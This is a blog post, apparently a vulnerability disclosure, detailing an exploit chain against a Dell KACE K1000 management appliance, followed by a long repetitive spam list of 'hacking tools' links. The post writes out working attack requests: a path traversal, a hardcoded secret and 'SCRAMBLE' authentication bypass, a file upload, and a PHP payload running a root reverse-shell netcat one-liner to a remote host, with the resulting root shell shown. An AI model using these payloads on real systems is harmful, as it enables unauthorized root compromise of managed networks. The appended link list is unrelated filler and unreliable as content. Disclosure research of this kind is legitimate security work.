A bit over a month ago I had the chance to play with a Dell KACE K1000 appliance ("http://www.kace.com/products/systems-management-appliance"). I'm not even sure how to feel about what I saw, mostly I was just disgusted. All of the following was confirmed on the latest version of the K1000 appliance (5.5.90545), if they weren't working on a patch for this - they are now.
Anyways, the first bug I ran into was an authenticated script that was vulnerable to path traversal:
POST /userui/downloadpxy.php HTTP/1.1That bug is neat, but its post-auth and can't be used for RCE because it returns the file as an attachment :(
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=xxxxxxxxxxxxxxxxxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download
HTTP/1.1 200 OK
Date: Tue, 04 Feb 2014 21:38:39 GMT
Server: Apache
Expires: 0
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: public
Content-Length: 47071
Content-Disposition: attachment; filename*=UTF-8''..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Fetc%2Fphp.ini
X-DellKACE-Appliance: k1000
X-DellKACE-Version: 5.5.90545
X-KBOX-Version: 5.5.90545
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/ini
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini ;
;;;;;;;;;;;;;;;;;;;
So moving along, I utilized the previous bug to navigate the file system (its nice enough to give a directory listing if a path is provided, thanks!), this led me to a file named "kbot_upload.php". This file is located on the appliance at the following location:
http://targethost/service/kbot_upload.php
This script includes "KBotUpload.class.php" and then calls "KBotUpload::HandlePUT()", it does not check for a valid session and utilizes its own "special" means to auth the request.
The "HandlePut()" function contains the following calls:
$checksumFn = $_GET['filename'];
$fn = rawurldecode($_GET['filename']);
$machineId = $_GET['machineId'];
$checksum = $_GET['checksum'];
$mac = $_GET['mac'];
$kbotId = $_GET['kbotId'];
$version = $_GET['version'];
$patchScheduleId = $_GET['patchscheduleid'];
if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
."($machineId, $checksumFn, $mac)");
KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
."from HandlePUT(".construct_url($_GET).")");
header("Status: 500", true, 500);
return;
}
md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
Server side check:
private static function calcTokenChecksum($filename, $machineId, $mac)
{
//return md5("$filename $machineId $mac" . $ip .
// 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
// our tracking of ips really sucks and when I'm vpn'ed from
// home I couldn't get patching to work, cause the ip that
// was on the machine record was different from the
// remote server ip.
return md5("$filename $machineId $mac" .
'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
}
The "secret" value is hardcoded into the application and cannot be changed by the end user (backdoor++;). Once an attacker knows this value, they are able to bypass the authorization check and upload a file to the server.
In addition to this "calcTokenChecksum" check, there is a hardcoded value of "SCRAMBLE" that can be provided by the attacker that will bypass the auth check (backdoor++;):
if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
Once this check is bypassed we are able to write a file anywhere on the server where we have permissions (thanks directory traversal #2!), at this time we are running in the context of the "www" user (boooooo). The "www" user has permission to write to the directory "/kbox/kboxwww/tmp", time to escalate to something more useful :)
From our new home in "tmp" with our weak user it was discovered that the KACE K1000 application contains admin functionality (not exposed to the webroot) that is able to execute commands as root using some IPC ("KSudoClient.class.php").
The "KSudoClient.class.php" can be used to execute commands as root, specifically the function "RunCommandWait". The following application call utilizes everything that was outlined above and sets up a reverse root shell, "REMOTEHOST" would be replaced with the host we want the server to connect back to:
POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1Once this was sent, we can setup our listener on our server and call the file we uploaded and receive our root shell:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 190
<?php
require_once 'KSudoClient.class.php';
KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?>
http://targethost/service/tmp/db.php
On our host:
~$ ncat -lkvp 4444
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from XX.XX.XX.XX
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
So at the end of the the day the count looks like this:
Directory Traversals: 2That all adds up to owned last time I checked.
Backdoors: 2
Privilege Escalation: 1
Example PoC can be found at the following location:
https://github.com/steponequit/kaced/blob/master/kaced.py
Example usage can be seen below:
Related links
- Hacker Tools For Mac
- World No 1 Hacker Software
- Ethical Hacker Tools
- Hack Tools For Mac
- Hack Tools 2019
- Hacker
- Computer Hacker
- Bluetooth Hacking Tools Kali
- Pentest Box Tools Download
- Hack Tools For Mac
- What Are Hacking Tools
- Hack Tools Mac
- Pentest Tools Subdomain
- Hacker Tool Kit
- Tools 4 Hack
- Pentest Tools Website Vulnerability
- Github Hacking Tools
- Hacker Tools 2019
- Hack Tools 2019
- Ethical Hacker Tools
- Hacking Tools For Beginners
- Pentest Tools For Android
- Hacker Tools Software
- Pentest Tools For Mac
- Pentest Tools Port Scanner
- Hack App
- Pentest Box Tools Download
- Hacking Tools For Pc
- Hacker Security Tools
- Bluetooth Hacking Tools Kali
- Hacker
- Hack Tools For Pc
- New Hacker Tools
- Hacker Tools Mac
- Hacker Tools Apk
- Growth Hacker Tools
- Hack Tools Download
- Hack Tools Download
- Pentest Tools Alternative
- Hacking Tools For Beginners
- Pentest Tools Tcp Port Scanner
- Pentest Tools Windows
- Pentest Tools Find Subdomains
- Best Hacking Tools 2020
- Hacking Tools For Mac
- Hack Tools For Pc
- Hacker Tools For Mac
- Hacker Tools Software
- Hacking Tools For Kali Linux
- Install Pentest Tools Ubuntu
- Hacker Tools
- Pentest Tools Free
- Easy Hack Tools
- Hacking Tools And Software
- Hack Tools For Mac
- Pentest Tools Android
- Hack Apps
- Hacking Tools Windows
- Hacking Tools For Beginners
- Growth Hacker Tools
- Pentest Tools For Ubuntu
- Hacking Tools Windows 10
- Hacking Tools Usb
- New Hacker Tools
- Free Pentest Tools For Windows
- How To Install Pentest Tools In Ubuntu
- Hacker Tools Linux
- How To Hack
- Hacking Apps
- Install Pentest Tools Ubuntu
- Black Hat Hacker Tools
- Top Pentest Tools
- Hacker Tools Linux
- Pentest Tools Website Vulnerability
- Tools Used For Hacking
- Kik Hack Tools
- Pentest Tools Kali Linux
- Nsa Hack Tools
- Best Hacking Tools 2020
- Hacking Tools Mac
- Hackers Toolbox
- Pentest Tools Android
- Hacking Tools Github
- Hacker Tool Kit
- Pentest Tools Windows
- Hacking App
- Pentest Tools Port Scanner
- Hacker Tools Mac
- Hacking Tools Mac
- Wifi Hacker Tools For Windows
- Hacker Hardware Tools
- Hack And Tools
- Hacking Tools Mac
- Tools Used For Hacking
- Beginner Hacker Tools
- Beginner Hacker Tools
- Underground Hacker Sites
- Pentest Tools Online
- Nsa Hack Tools Download
- Pentest Tools For Mac
- Hak5 Tools
- Pentest Tools Review
- Pentest Tools Bluekeep
- Hacking Tools Free Download
- Tools For Hacker
- Termux Hacking Tools 2019
- Pentest Tools For Android
- Hack Tools Pc
- Hacking Tools Mac
- Physical Pentest Tools
- Hacker
- Hacking Tools
- Pentest Tools Online
- Black Hat Hacker Tools
- What Are Hacking Tools
- How To Install Pentest Tools In Ubuntu
- Pentest Tools Website Vulnerability
- Usb Pentest Tools
- Hacker Tools Software
- How To Hack
- Hacker Security Tools
- Pentest Tools List
- Hacking Tools 2020
- Pentest Tools Github
- Hack Tool Apk
- Hacking Tools For Windows Free Download
- Hacker
- Pentest Recon Tools
- Best Pentesting Tools 2018
- Hacker Tools For Ios
- Pentest Tools List
- Underground Hacker Sites
- Pentest Box Tools Download
- Termux Hacking Tools 2019
- Hacking Tools Name
- Pentest Tools Review
- Hacker Tools Linux
- Pentest Recon Tools
- Hacking Tools For Windows
- Pentest Tools List
- Top Pentest Tools
- Game Hacking
- Hacker Tools Hardware
- Usb Pentest Tools
- Pentest Tools Bluekeep
- Pentest Tools Windows
- Hacking Tools For Windows Free Download
- Hacker Tools For Pc
- Hack App
- Hacking Tools For Windows Free Download
- Hackrf Tools
- Pentest Tools Android
- Hak5 Tools
- Hacking Tools 2020
No comments:
Post a Comment